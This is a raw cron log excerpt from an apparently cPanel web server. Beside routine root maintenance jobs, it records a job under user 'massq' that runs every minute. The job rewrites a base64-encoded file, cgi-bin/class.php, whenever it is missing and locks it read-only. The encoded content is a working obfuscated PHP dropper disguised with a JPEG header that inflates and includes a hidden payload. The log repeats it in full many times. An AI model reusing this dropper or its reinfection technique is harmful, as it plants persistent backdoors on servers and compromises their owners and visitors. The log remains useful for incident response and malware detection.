Nov 12 12:18:01 server CROND[30824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:19:01 server CROND[31741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:20:01 server CROND[32577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:20:01 server CROND[32579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:20:01 server CROND[32578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 12:20:01 server CROND[32580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:20:01 server CROND[32581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:21:01 server CROND[1054]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:22:01 server CROND[1928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:23:01 server CROND[2846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:24:01 server CROND[3651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:25:01 server CROND[4476]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:25:01 server CROND[4477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:25:01 server CROND[4480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:25:01 server CROND[4479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:26:01 server CROND[5380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:27:01 server CROND[6209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:27:01 server CROND[6210]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:28:01 server CROND[7019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:29:01 server CROND[7686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:30:01 server CROND[8575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:30:01 server CROND[8577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:30:01 server CROND[8576]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 12:30:01 server CROND[8579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:30:01 server CROND[8578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
